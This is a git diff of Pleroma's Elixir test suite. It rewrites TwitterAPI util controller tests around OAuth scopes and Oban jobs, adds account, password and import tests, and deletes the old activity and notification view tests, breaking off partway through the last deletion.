@@ -689,31 +440,9 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
refute User.get_cached_by_nickname("lain")
end
- test "it assigns an integer conversation_id" do
- note_activity = insert(:note_activity)
- status = ActivityView.render("activity.json", activity: note_activity)
-
- assert is_number(status["statusnet_conversation_id"])
- end
-
setup do
Supervisor.terminate_child(Pleroma.Supervisor, Cachex)
Supervisor.restart_child(Pleroma.Supervisor, Cachex)
:ok
end
-
- describe "fetching a user by uri" do
- test "fetches a user by uri" do
- id = "https://mastodon.social/users/lambadalambda"
- user = insert(:user)
- {:ok, represented} = TwitterAPI.get_external_profile(user, id)
- remote = User.get_cached_by_ap_id(id)
-
- assert represented["id"] == UserView.render("show.json", %{user: remote, for: user})["id"]
-
- # Also fetches the feed.
- # assert Activity.get_create_by_object_ap_id("tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status")
- # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength
- end
- end
end
diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs
index 3d699e1df..5d60c0d51 100644
--- a/test/web/twitter_api/util_controller_test.exs
+++ b/test/web/twitter_api/util_controller_test.exs
@@ -4,11 +4,11 @@
defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
use Pleroma.Web.ConnCase
+ use Oban.Testing, repo: Pleroma.Repo
- alias Pleroma.Notification
- alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
- alias Pleroma.Web.CommonAPI
+
import Pleroma.Factory
import Mock
@@ -17,27 +17,56 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
:ok
end
+ clear_config([:instance])
+ clear_config([:frontend_configurations, :pleroma_fe])
+ clear_config([:user, :deny_follow_blocked])
+
describe "POST /api/pleroma/follow_import" do
+ setup do: oauth_access(["follow"])
+
test "it returns HTTP 200", %{conn: conn} do
- user1 = insert(:user)
user2 = insert(:user)
response =
conn
- |> assign(:user, user1)
|> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"})
|> json_response(:ok)
assert response == "job started"
end
+ test "it imports follow lists from file", %{user: user1, conn: conn} do
+ user2 = insert(:user)
+
+ with_mocks([
+ {File, [],
+ read!: fn "follow_list.txt" ->
+ "Account address,Show boosts\n#{user2.ap_id},true"
+ end}
+ ]) do
+ response =
+ conn
+ |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}})
+ |> json_response(:ok)
+
+ assert response == "job started"
+
+ assert ObanHelpers.member?(
+ %{
+ "op" => "follow_import",
+ "follower_id" => user1.id,
+ "followed_identifiers" => [user2.ap_id]
+ },
+ all_enqueued(worker: Pleroma.Workers.BackgroundWorker)
+ )
+ end
+ end
+
test "it imports new-style mastodon follow lists", %{conn: conn} do
- user1 = insert(:user)
user2 = insert(:user)
response =
conn
- |> assign(:user, user1)
|> post("/api/pleroma/follow_import", %{
"list" => "Account address,Show boosts\n#{user2.ap_id},true"
})
@@ -46,19 +75,21 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
assert response == "job started"
end
- test "requires 'follow' permission", %{conn: conn} do
+ test "requires 'follow' or 'write:follows' permissions" do
token1 = insert(:oauth_token, scopes: ["read", "write"])
token2 = insert(:oauth_token, scopes: ["follow"])
+ token3 = insert(:oauth_token, scopes: ["something"])
another_user = insert(:user)
- for token <- [token1, token2] do
+ for token <- [token1, token2, token3] do
conn =
- conn
+ build_conn()
|> put_req_header("authorization", "Bearer #{token.token}")
|> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"})
- if token == token1 do
- assert %{"error" => "Insufficient permissions: follow."} == json_response(conn, 403)
+ if token == token3 do
+ assert %{"error" => "Insufficient permissions: follow | write:follows."} ==
+ json_response(conn, 403)
else
assert json_response(conn, 200)
end
@@ -67,65 +98,143 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
end
describe "POST /api/pleroma/blocks_import" do
+ # Note: "follow" or "write:blocks" permission is required
+ setup do: oauth_access(["write:blocks"])
+
test "it returns HTTP 200", %{conn: conn} do
- user1 = insert(:user)
user2 = insert(:user)
response =
conn
- |> assign(:user, user1)
|> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"})
|> json_response(:ok)
assert response == "job started"
end
- end
- describe "POST /api/pleroma/notifications/read" do
- test "it marks a single notification as read", %{conn: conn} do
- user1 = insert(:user)
+ test "it imports blocks users from file", %{user: user1, conn: conn} do
user2 = insert(:user)
- {:ok, activity1} = CommonAPI.post(user2, %{"status" => "hi @#{user1.nickname}"})
- {:ok, activity2} = CommonAPI.post(user2, %{"status" => "hi @#{user1.nickname}"})
- {:ok, [notification1]} = Notification.create_notifications(activity1)
- {:ok, [notification2]} = Notification.create_notifications(activity2)
-
- conn
- |> assign(:user, user1)
- |> post("/api/pleroma/notifications/read", %{"id" => "#{notification1.id}"})
- |> json_response(:ok)
+ user3 = insert(:user)
- assert Repo.get(Notification, notification1.id).seen
- refute Repo.get(Notification, notification2.id).seen
+ with_mocks([
+ {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end}
+ ]) do
+ response =
+ conn
+ |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}})
+ |> json_response(:ok)
+
+ assert response == "job started"
+
+ assert ObanHelpers.member?(
+ %{
+ "op" => "blocks_import",
+ "blocker_id" => user1.id,
+ "blocked_identifiers" => [user2.ap_id, user3.ap_id]
+ },
+ all_enqueued(worker: Pleroma.Workers.BackgroundWorker)
+ )
+ end
end
end
describe "PUT /api/pleroma/notification_settings" do
- test "it updates notification settings", %{conn: conn} do
- user = insert(:user)
+ setup do: oauth_access(["write:accounts"])
+ test "it updates notification settings", %{user: user, conn: conn} do
conn
- |> assign(:user, user)
|> put("/api/pleroma/notification_settings", %{
"followers" => false,
"bar" => 1
})
|> json_response(:ok)
- user = Repo.get(User, user.id)
+ user = refresh_record(user)
+
+ assert %Pleroma.User.NotificationSetting{
+ followers: false,
+ follows: true,
+ non_follows: true,
+ non_followers: true,
+ privacy_option: false
+ } == user.notification_settings
+ end
+
+ test "it updates notification privacy option", %{user: user, conn: conn} do
+ conn
+ |> put("/api/pleroma/notification_settings", %{"privacy_option" => "1"})
+ |> json_response(:ok)
+
+ user = refresh_record(user)
- assert %{
- "followers" => false,
- "follows" => true,
- "non_follows" => true,
- "non_followers" => true
- } == user.info.notification_settings
+ assert %Pleroma.User.NotificationSetting{
+ followers: true,
+ follows: true,
+ non_follows: true,
+ non_followers: true,
+ privacy_option: true
+ } == user.notification_settings
end
end
- describe "GET /api/statusnet/config.json" do
+ describe "GET /api/statusnet/config" do
+ test "it returns config in xml format", %{conn: conn} do
+ instance = Pleroma.Config.get(:instance)
+
+ response =
+ conn
+ |> put_req_header("accept", "application/xml")
+ |> get("/api/statusnet/config")
+ |> response(:ok)
+
+ assert response ==
+ "<config>\n<site>\n<name>#{Keyword.get(instance, :name)}</name>\n<site>#{
+ Pleroma.Web.base_url()
+ }</site>\n<textlimit>#{Keyword.get(instance, :limit)}</textlimit>\n<closed>#{
+ !Keyword.get(instance, :registrations_open)
+ }</closed>\n</site>\n</config>\n"
+ end
+
+ test "it returns config in json format", %{conn: conn} do
+ instance = Pleroma.Config.get(:instance)
+ Pleroma.Config.put([:instance, :managed_config], true)
+ Pleroma.Config.put([:instance, :registrations_open], false)
+ Pleroma.Config.put([:instance, :invites_enabled], true)
+ Pleroma.Config.put([:instance, :public], false)
+ Pleroma.Config.put([:frontend_configurations, :pleroma_fe], %{theme: "asuka-hospital"})
+
+ response =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> get("/api/statusnet/config")
+ |> json_response(:ok)
+
+ expected_data = %{
+ "site" => %{
+ "accountActivationRequired" => "0",
+ "closed" => "1",
+ "description" => Keyword.get(instance, :description),
+ "invitesEnabled" => "1",
+ "name" => Keyword.get(instance, :name),
+ "pleromafe" => %{"theme" => "asuka-hospital"},
+ "private" => "1",
+ "safeDMMentionsEnabled" => "0",
+ "server" => Pleroma.Web.base_url(),
+ "textlimit" => to_string(Keyword.get(instance, :limit)),
+ "uploadlimit" => %{
+ "avatarlimit" => to_string(Keyword.get(instance, :avatar_upload_limit)),
+ "backgroundlimit" => to_string(Keyword.get(instance, :background_upload_limit)),
+ "bannerlimit" => to_string(Keyword.get(instance, :banner_upload_limit)),
+ "uploadlimit" => to_string(Keyword.get(instance, :upload_limit))
+ },
+ "vapidPublicKey" => Keyword.get(Pleroma.Web.Push.vapid_config(), :public_key)
+ }
+ }
+
+ assert response == expected_data
+ end
+
test "returns the state of safe_dm_mentions flag", %{conn: conn} do
- option = Pleroma.Config.get([:instance, :safe_dm_mentions])
Pleroma.Config.put([:instance, :safe_dm_mentions], true)
response =
@@ -143,8 +252,6 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
|> json_response(:ok)
assert response["site"]["safeDMMentionsEnabled"] == "0"
-
- Pleroma.Config.put([:instance, :safe_dm_mentions], option)
end
test "it returns the managed config", %{conn: conn} do
@@ -210,38 +317,8 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
end
end
- describe "GET /ostatus_subscribe?acct=...." do
- test "adds status to pleroma instance if the `acct` is a status", %{conn: conn} do
- conn =
- get(
- conn,
- "/ostatus_subscribe?acct=https://mastodon.social/users/emelie/statuses/101849165031453009"
- )
-
- assert redirected_to(conn) =~ "/notice/"
- end
-
- test "show follow account page if the `acct` is a account link", %{conn: conn} do
- response =
- get(
- conn,
- "/ostatus_subscribe?acct=https://mastodon.social/users/emelie"
- )
-
- assert html_response(response, 200) =~ "Log in to follow"
- end
- end
-
describe "GET /api/pleroma/healthcheck" do
- setup do
- config_healthcheck = Pleroma.Config.get([:instance, :healthcheck])
-
- on_exit(fn ->
- Pleroma.Config.put([:instance, :healthcheck], config_healthcheck)
- end)
-
- :ok
- end
+ clear_config([:instance, :healthcheck])
test "returns 503 when healthcheck disabled", %{conn: conn} do
Pleroma.Config.put([:instance, :healthcheck], false)
@@ -274,7 +351,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
end
end
- test "returns 503 when healthcheck enabled and health is false", %{conn: conn} do
+ test "returns 503 when healthcheck enabled and health is false", %{conn: conn} do
Pleroma.Config.put([:instance, :healthcheck], true)
with_mock Pleroma.Healthcheck,
@@ -296,20 +373,301 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
end
describe "POST /api/pleroma/disable_account" do
- test "it returns HTTP 200", %{conn: conn} do
- user = insert(:user)
+ setup do: oauth_access(["write:accounts"])
+ test "with valid permissions and password, it disables the account", %{conn: conn, user: user} do
response =
conn
- |> assign(:user, user)
|> post("/api/pleroma/disable_account", %{"password" => "test"})
|> json_response(:ok)
assert response == %{"status" => "success"}
+ ObanHelpers.perform_all()
+
+ user = User.get_cached_by_id(user.id)
+
+ assert user.deactivated == true
+ end
+
+ test "with valid permissions and invalid password, it returns an error", %{conn: conn} do
+ user = insert(:user)
+
+ response =
+ conn
+ |> post("/api/pleroma/disable_account", %{"password" => "test1"})
+ |> json_response(:ok)
+ assert response == %{"error" => "Invalid password."}
user = User.get_cached_by_id(user.id)
- assert user.info.deactivated == true
+ refute user.deactivated
+ end
+ end
+
+ describe "GET /api/statusnet/version" do
+ test "it returns version in xml format", %{conn: conn} do
+ response =
+ conn
+ |> put_req_header("accept", "application/xml")
+ |> get("/api/statusnet/version")
+ |> response(:ok)
+
+ assert response == "<version>#{Pleroma.Application.named_version()}</version>"
+ end
+
+ test "it returns version in json format", %{conn: conn} do
+ response =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> get("/api/statusnet/version")
+ |> json_response(:ok)
+
+ assert response == "#{Pleroma.Application.named_version()}"
+ end
+ end
+
+ describe "POST /main/ostatus - remote_subscribe/2" do
+ test "renders subscribe form", %{conn: conn} do
+ user = insert(:user)
+
+ response =
+ conn
+ |> post("/main/ostatus", %{"nickname" => user.nickname, "profile" => ""})
+ |> response(:ok)
+
+ refute response =~ "Could not find user"
+ assert response =~ "Remotely follow #{user.nickname}"
+ end
+
+ test "renders subscribe form with error when user not found", %{conn: conn} do
+ response =
+ conn
+ |> post("/main/ostatus", %{"nickname" => "nickname", "profile" => ""})
+ |> response(:ok)
+
+ assert response =~ "Could not find user"
+ refute response =~ "Remotely follow"
+ end
+
+ test "it redirect to webfinger url", %{conn: conn} do
+ user = insert(:user)
+ user2 = insert(:user, ap_id: "shp@social.heldscal.la")
+
+ conn =
+ conn
+ |> post("/main/ostatus", %{
+ "user" => %{"nickname" => user.nickname, "profile" => user2.ap_id}
+ })
+
+ assert redirected_to(conn) ==
+ "https://social.heldscal.la/main/ostatussub?profile=#{user.ap_id}"
+ end
+
+ test "it renders form with error when user not found", %{conn: conn} do
+ user2 = insert(:user, ap_id: "shp@social.heldscal.la")
+
+ response =
+ conn
+ |> post("/main/ostatus", %{"user" => %{"nickname" => "jimm", "profile" => user2.ap_id}})
+ |> response(:ok)
+
+ assert response =~ "Something went wrong."
+ end
+ end
+
+ test "it returns new captcha", %{conn: conn} do
+ with_mock Pleroma.Captcha,
+ new: fn -> "test_captcha" end do
+ resp =
+ conn
+ |> get("/api/pleroma/captcha")
+ |> response(200)
+
+ assert resp == "\"test_captcha\""
+ assert called(Pleroma.Captcha.new())
+ end
+ end
+
+ describe "POST /api/pleroma/change_email" do
+ setup do: oauth_access(["write:accounts"])
+
+ test "without permissions", %{conn: conn} do
+ conn =
+ conn
+ |> assign(:token, nil)
+ |> post("/api/pleroma/change_email")
+
+ assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."}
+ end
+
+ test "with proper permissions and invalid password", %{conn: conn} do
+ conn =
+ post(conn, "/api/pleroma/change_email", %{
+ "password" => "hi",
+ "email" => "test@test.com"
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Invalid password."}
+ end
+
+ test "with proper permissions, valid password and invalid email", %{
+ conn: conn
+ } do
+ conn =
+ post(conn, "/api/pleroma/change_email", %{
+ "password" => "test",
+ "email" => "foobar"
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Email has invalid format."}
+ end
+
+ test "with proper permissions, valid password and no email", %{
+ conn: conn
+ } do
+ conn =
+ post(conn, "/api/pleroma/change_email", %{
+ "password" => "test"
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Email can't be blank."}
+ end
+
+ test "with proper permissions, valid password and blank email", %{
+ conn: conn
+ } do
+ conn =
+ post(conn, "/api/pleroma/change_email", %{
+ "password" => "test",
+ "email" => ""
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Email can't be blank."}
+ end
+
+ test "with proper permissions, valid password and non unique email", %{
+ conn: conn
+ } do
+ user = insert(:user)
+
+ conn =
+ post(conn, "/api/pleroma/change_email", %{
+ "password" => "test",
+ "email" => user.email
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Email has already been taken."}
+ end
+
+ test "with proper permissions, valid password and valid email", %{
+ conn: conn
+ } do
+ conn =
+ post(conn, "/api/pleroma/change_email", %{
+ "password" => "test",
+ "email" => "cofe@foobar.com"
+ })
+
+ assert json_response(conn, 200) == %{"status" => "success"}
+ end
+ end
+
+ describe "POST /api/pleroma/change_password" do
+ setup do: oauth_access(["write:accounts"])
+
+ test "without permissions", %{conn: conn} do
+ conn =
+ conn
+ |> assign(:token, nil)
+ |> post("/api/pleroma/change_password")
+
+ assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."}
+ end
+
+ test "with proper permissions and invalid password", %{conn: conn} do
+ conn =
+ post(conn, "/api/pleroma/change_password", %{
+ "password" => "hi",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "newpass"
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Invalid password."}
+ end
+
+ test "with proper permissions, valid password and new password and confirmation not matching",
+ %{
+ conn: conn
+ } do
+ conn =
+ post(conn, "/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "notnewpass"
+ })
+
+ assert json_response(conn, 200) == %{
+ "error" => "New password does not match confirmation."
+ }
+ end
+
+ test "with proper permissions, valid password and invalid new password", %{
+ conn: conn
+ } do
+ conn =
+ post(conn, "/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "",
+ "new_password_confirmation" => ""
+ })
+
+ assert json_response(conn, 200) == %{
+ "error" => "New password can't be blank."
+ }
+ end
+
+ test "with proper permissions, valid password and matching new password and confirmation", %{
+ conn: conn,
+ user: user
+ } do
+ conn =
+ post(conn, "/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "newpass"
+ })
+
+ assert json_response(conn, 200) == %{"status" => "success"}
+ fetched_user = User.get_cached_by_id(user.id)
+ assert Comeonin.Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true
+ end
+ end
+
+ describe "POST /api/pleroma/delete_account" do
+ setup do: oauth_access(["write:accounts"])
+
+ test "without permissions", %{conn: conn} do
+ conn =
+ conn
+ |> assign(:token, nil)
+ |> post("/api/pleroma/delete_account")
+
+ assert json_response(conn, 403) ==
+ %{"error" => "Insufficient permissions: write:accounts."}
+ end
+
+ test "with proper permissions and wrong or missing password", %{conn: conn} do
+ for params <- [%{"password" => "hi"}, %{}] do
+ ret_conn = post(conn, "/api/pleroma/delete_account", params)
+
+ assert json_response(ret_conn, 200) == %{"error" => "Invalid password."}
+ end
+ end
+
+ test "with proper permissions and valid password", %{conn: conn} do
+ conn = post(conn, "/api/pleroma/delete_account", %{"password" => "test"})
+
+ assert json_response(conn, 200) == %{"status" => "success"}
end
end
end
diff --git a/test/web/twitter_api/views/activity_view_test.exs b/test/web/twitter_api/views/activity_view_test.exs
deleted file mode 100644
index 56d861efb..000000000
--- a/test/web/twitter_api/views/activity_view_test.exs
+++ /dev/null
@@ -1,384 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.TwitterAPI.ActivityViewTest do
- use Pleroma.DataCase
-
- alias Pleroma.Activity
- alias Pleroma.Object
- alias Pleroma.Repo
- alias Pleroma.User
- alias Pleroma.Web.ActivityPub.ActivityPub
- alias Pleroma.Web.CommonAPI
- alias Pleroma.Web.CommonAPI.Utils
- alias Pleroma.Web.TwitterAPI.ActivityView
- alias Pleroma.Web.TwitterAPI.UserView
-
- import Pleroma.Factory
- import Tesla.Mock
-
- setup do
- mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- import Mock
-
- test "returns a temporary ap_id based user for activities missing db users" do
- user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
-
- Repo.delete(user)
- Cachex.clear(:user_cache)
-
- %{"user" => tw_user} = ActivityView.render("activity.json", activity: activity)
-
- assert tw_user["screen_name"] == "erroruser@example.com"
- assert tw_user["name"] == user.ap_id
- assert tw_user["statusnet_profile_url"] == user.ap_id
- end
-
- test "tries to get a user by nickname if fetching by ap_id doesn't work" do
- user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
-
- {:ok, user} =
- user
- |> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"})
- |> Repo.update()
-
- Cachex.clear(:user_cache)
-
- result = ActivityView.render("activity.json", activity: activity)
- assert result["user"]["id"] == user.id
- end
-
- test "tells if the message is muted for some reason" do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, user} = User.mute(user, other_user)
-
- {:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"})
- status = ActivityView.render("activity.json", %{activity: activity})
-
- assert status["muted"] == false
-
- status = ActivityView.render("activity.json", %{activity: activity, for: user})
-
- assert status["muted"] == true
- end
-
- test "a create activity with a html status" do
- text = """
- #Bike log - Commute Tuesday\nhttps://pla.bike/posts/20181211/\n#cycling #CHScycling #commute\nMVIMG_20181211_054020.jpg
- """
-
- {:ok, activity} = CommonAPI.post(insert(:user), %{"status" => text})
-
- result = ActivityView.render("activity.json", activity: activity)
-
- assert result["statusnet_html"] ==
- "<a class=\"hashtag\" data-tag=\"bike\" href=\"http://localhost:4001/tag/bike\" rel=\"tag\">#Bike</a> log - Commute Tuesday<br /><a href=\"https://pla.bike/posts/20181211/\">https://pla.bike/posts/20181211/</a><br /><a class=\"hashtag\" data-tag=\"cycling\" href=\"http://localhost:4001/tag/cycling\" rel=\"tag\">#cycling</a> <a class=\"hashtag\" data-tag=\"chscycling\" href=\"http://localhost:4001/tag/chscycling\" rel=\"tag\">#CHScycling</a> <a class=\"hashtag\" data-tag=\"commute\" href=\"http://localhost:4001/tag/commute\" rel=\"tag\">#commute</a><br />MVIMG_20181211_054020.jpg"
-
- assert result["text"] ==
- "#Bike log - Commute Tuesday\nhttps://pla.bike/posts/20181211/\n#cycling #CHScycling #commute\nMVIMG_20181211_054020.jpg"
- end
-
- test "a create activity with a summary containing emoji" do
- {:ok, activity} =
- CommonAPI.post(insert(:user), %{
- "spoiler_text" => ":firefox: meow",
- "status" => "."
- })
-
- result = ActivityView.render("activity.json", activity: activity)
-
- expected = ":firefox: meow"
-
- expected_html =
- "<img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"http://localhost:4001/emoji/Firefox.gif\" /> meow"
-
- assert result["summary"] == expected
- assert result["summary_html"] == expected_html
- end
-
- test "a create activity with a summary containing invalid HTML" do
- {:ok, activity} =
- CommonAPI.post(insert(:user), %{
- "spoiler_text" => "<span style=\"color: magenta; font-size: 32px;\">meow</span>",
- "status" => "."
- })
-
- result = ActivityView.render("activity.json", activity: activity)
-
- expected = "meow"
-
- assert result["summary"] == expected
- assert result["summary_html"] == expected
- end
-
- test "a create activity with a note" do
- user = insert(:user)
- other_user = insert(:user, %{nickname: "shp"})
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
- object = Object.normalize(activity)
-
- result = ActivityView.render("activity.json", activity: activity)
-
- convo_id = Utils.context_to_conversation_id(object.data["context"])
-
- expected = %{
- "activity_type" => "post",
- "attachments" => [],
- "attentions" => [
- UserView.render("show.json", %{user: other_user})
- ],
- "created_at" => object.data["published"] |> Utils.date_to_asctime(),
- "external_url" => object.data["id"],
- "fave_num" => 0,
- "favorited" => false,
- "id" => activity.id,
- "in_reply_to_status_id" => nil,
- "in_reply_to_screen_name" => nil,
- "in_reply_to_user_id" => nil,
- "in_reply_to_profileurl" => nil,
- "in_reply_to_ostatus_uri" => nil,
- "is_local" => true,
- "is_post_verb" => true,
- "possibly_sensitive" => false,
- "repeat_num" => 0,
- "repeated" => false,
- "pinned" => false,
- "statusnet_conversation_id" => convo_id,
- "summary" => "",
- "summary_html" => "",
- "statusnet_html" =>
- "Hey <span class=\"h-card\"><a data-user=\"#{other_user.id}\" class=\"u-url mention\" href=\"#{
- other_user.ap_id
- }\">@<span>shp</span></a></span>!",
- "tags" => [],
- "text" => "Hey @shp!",
- "uri" => object.data["id"],
- "user" => UserView.render("show.json", %{user: user}),
- "visibility" => "direct",
- "card" => nil,
- "muted" => false
- }
-
- assert result == expected
- end
-
- test "a list of activities" do
- user = insert(:user)
- other_user = insert(:user, %{nickname: "shp"})
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
- object = Object.normalize(activity)
-
- convo_id = Utils.context_to_conversation_id(object.data["context"])
-
- mocks = [
- {
- Utils,
- [:passthrough],
- [context_to_conversation_id: fn _ -> false end]
- },
- {
- User,
- [:passthrough],
- [get_cached_by_ap_id: fn _ -> nil end]
- }
- ]
-
- with_mocks mocks do
- [result] = ActivityView.render("index.json", activities: [activity])
-
- assert result["statusnet_conversation_id"] == convo_id
- assert result["user"]
- refute called(Utils.context_to_conversation_id(:_))
- refute called(User.get_cached_by_ap_id(user.ap_id))
- refute called(User.get_cached_by_ap_id(other_user.ap_id))
- end
- end
-
- test "an activity that is a reply" do
- user = insert(:user)
- other_user = insert(:user, %{nickname: "shp"})
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
-
- {:ok, answer} =
- CommonAPI.post(other_user, %{"status" => "Hi!", "in_reply_to_status_id" => activity.id})
-
- result = ActivityView.render("activity.json", %{activity: answer})
-
- assert result["in_reply_to_status_id"] == activity.id
- end
-
- test "a like activity" do
- user = insert(:user)
- other_user = insert(:user, %{nickname: "shp"})
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
- {:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)
-
- result = ActivityView.render("activity.json", activity: like)
- activity = Pleroma.Activity.get_by_ap_id(activity.data["id"])
-
- expected = %{
- "activity_type" => "like",
- "created_at" => like.data["published"] |> Utils.date_to_asctime(),
- "external_url" => like.data["id"],
- "id" => like.id,
- "in_reply_to_status_id" => activity.id,
- "is_local" => true,
- "is_post_verb" => false,
- "favorited_status" => ActivityView.render("activity.json", activity: activity),
- "statusnet_html" => "shp favorited a status.",
- "text" => "shp favorited a status.",
- "uri" => "tag:#{like.data["id"]}:objectType=Favourite",
- "user" => UserView.render("show.json", user: other_user)
- }
-
- assert result == expected
- end
-
- test "a like activity for deleted post" do
- user = insert(:user)
- other_user = insert(:user, %{nickname: "shp"})
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
- {:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)
- CommonAPI.delete(activity.id, user)
-
- result = ActivityView.render("activity.json", activity: like)
-
- expected = %{
- "activity_type" => "like",
- "created_at" => like.data["published"] |> Utils.date_to_asctime(),
- "external_url" => like.data["id"],
- "id" => like.id,
- "in_reply_to_status_id" => nil,
- "is_local" => true,
- "is_post_verb" => false,
- "favorited_status" => nil,
- "statusnet_html" => "shp favorited a status.",
- "text" => "shp favorited a status.",
- "uri" => "tag:#{like.data["id"]}:objectType=Favourite",
- "user" => UserView.render("show.json", user: other_user)
- }
-
- assert result == expected
- end
-
- test "an announce activity" do
- user = insert(:user)
- other_user = insert(:user, %{nickname: "shp"})
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
- {:ok, announce, object} = CommonAPI.repeat(activity.id, other_user)
-
- convo_id = Utils.context_to_conversation_id(object.data["context"])
-
- activity = Activity.get_by_id(activity.id)
-
- result = ActivityView.render("activity.json", activity: announce)
-
- expected = %{
- "activity_type" => "repeat",
- "created_at" => announce.data["published"] |> Utils.date_to_asctime(),
- "external_url" => announce.data["id"],
- "id" => announce.id,
- "is_local" => true,
- "is_post_verb" => false,
- "statusnet_html" => "shp repeated a status.",
- "text" => "shp repeated a status.",
- "uri" => "tag:#{announce.data["id"]}:objectType=note",
- "user" => UserView.render("show.json", user: other_user),
- "retweeted_status" => ActivityView.render("activity.json", activity: activity),
- "statusnet_conversation_id" => convo_id
- }
-
- assert result == expected
- end
-
- test "A follow activity" do
- user = insert(:user)
- other_user = insert(:user, %{nickname: "shp"})
-
- {:ok, follower} = User.follow(user, other_user)
- {:ok, follow} = ActivityPub.follow(follower, other_user)
-
- result = ActivityView.render("activity.json", activity: follow)
-
- expected = %{
- "activity_type" => "follow",
- "attentions" => [],
- "created_at" => follow.data["published"] |> Utils.date_to_asctime(),
- "external_url" => follow.data["id"],
- "id" => follow.id,
- "in_reply_to_status_id" => nil,
- "is_local" => true,
- "is_post_verb" => false,
- "statusnet_html" => "#{user.nickname} started following shp",
- "text" => "#{user.nickname} started following shp",
- "user" => UserView.render("show.json", user: user)
- }
-
- assert result == expected
- end
-
- test "a delete activity" do
- user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
- {:ok, delete} = CommonAPI.delete(activity.id, user)
-
- result = ActivityView.render("activity.json", activity: delete)
-
- expected = %{
- "activity_type" => "delete",
- "attentions" => [],
- "created_at" => delete.data["published"] |> Utils.date_to_asctime(),
- "external_url" => delete.data["id"],
- "id" => delete.id,
- "in_reply_to_status_id" => nil,
- "is_local" => true,
- "is_post_verb" => false,
- "statusnet_html" => "deleted notice {{tag",
- "text" => "deleted notice {{tag",
- "uri" => Object.normalize(delete).data["id"],
- "user" => UserView.render("show.json", user: user)
- }
-
- assert result == expected
- end
-
- test "a peertube video" do
- {:ok, object} =
- Pleroma.Object.Fetcher.fetch_object_from_id(
- "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
- )
-
- %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])
-
- result = ActivityView.render("activity.json", activity: activity)
-
- assert length(result["attachments"]) == 1
- assert result["summary"] == "Friday Night"
- end
-
- test "special characters are not escaped in text field for status created" do
- text = "<3 is on the way"
-
- {:ok, activity} = CommonAPI.post(insert(:user), %{"status" => text})
-
- result = ActivityView.render("activity.json", activity: activity)
-
- assert result["text"] == text
- end
-end
diff --git a/test/web/twitter_api/views/notification_view_test.exs b/test/web/twitter_api/views/notification_view_test.exs
deleted file mode 100644
index 6baeeaf63..000000000
--- a/test/web/twitter_api/views/notification_view_test.exs
+++ /dev/null
@@ -1,112 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.TwitterAPI.NotificationViewTest do
- use Pleroma.DataCase
-
- alias Pleroma.Notification
- alias Pleroma.User
- alias Pleroma.Web.ActivityPub.ActivityPub
- alias Pleroma.Web.CommonAPI.Utils
- alias Pleroma.Web.TwitterAPI.ActivityView
- alias Pleroma.Web.TwitterAPI.NotificationView
